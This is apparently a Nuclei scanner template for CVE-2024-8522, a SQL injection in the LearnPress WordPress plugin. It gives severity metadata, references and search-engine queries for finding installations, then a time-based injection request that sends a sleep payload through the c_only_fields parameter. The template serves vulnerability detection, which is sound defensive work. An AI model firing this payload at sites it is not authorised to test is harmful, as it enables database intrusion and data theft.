LearnPress < 4.2.7.1 - SQL Injection

id: CVE-2024-8522

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: pdresearch,iamnoooob,rootxharsh
  severity: critical
  description: |
    The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_only_fields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://github.com/advisories/GHSA-3w3r-r6g6-w8x5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8522
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8522
    cwe-id: CWE-89
    epss-score: 0.8713
    epss-percentile: 0.9946
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: thimpress
    product: learnpress
    shodan-query: html:"/wp-content/plugins/learnpress"
    fofa-query: body="/wp-content/plugins/learnpress"
  tags: time-based-sqli,cve,cve2024,learnpress,sqli,wp,wordpress,wp-plugin,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?course_filter=&c_only_fields=post_title,(select(sleep(6))),ID& HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "contains(content_type, 'application/json')"
          - contains_all(body, 'id\":', 'name\":')
        condition: and
# digest: 4a0a00473045022100e53e936ba1dbf048f6d62569263312ec0731ce863b1008c3f5fbc46255f9df3f0220244c7cb9f9390e7a42b4a9157d067a62e44f3d0491f5c3f0bebc69b0e552ddf1:922c64590222798bb761d5b6d8e72950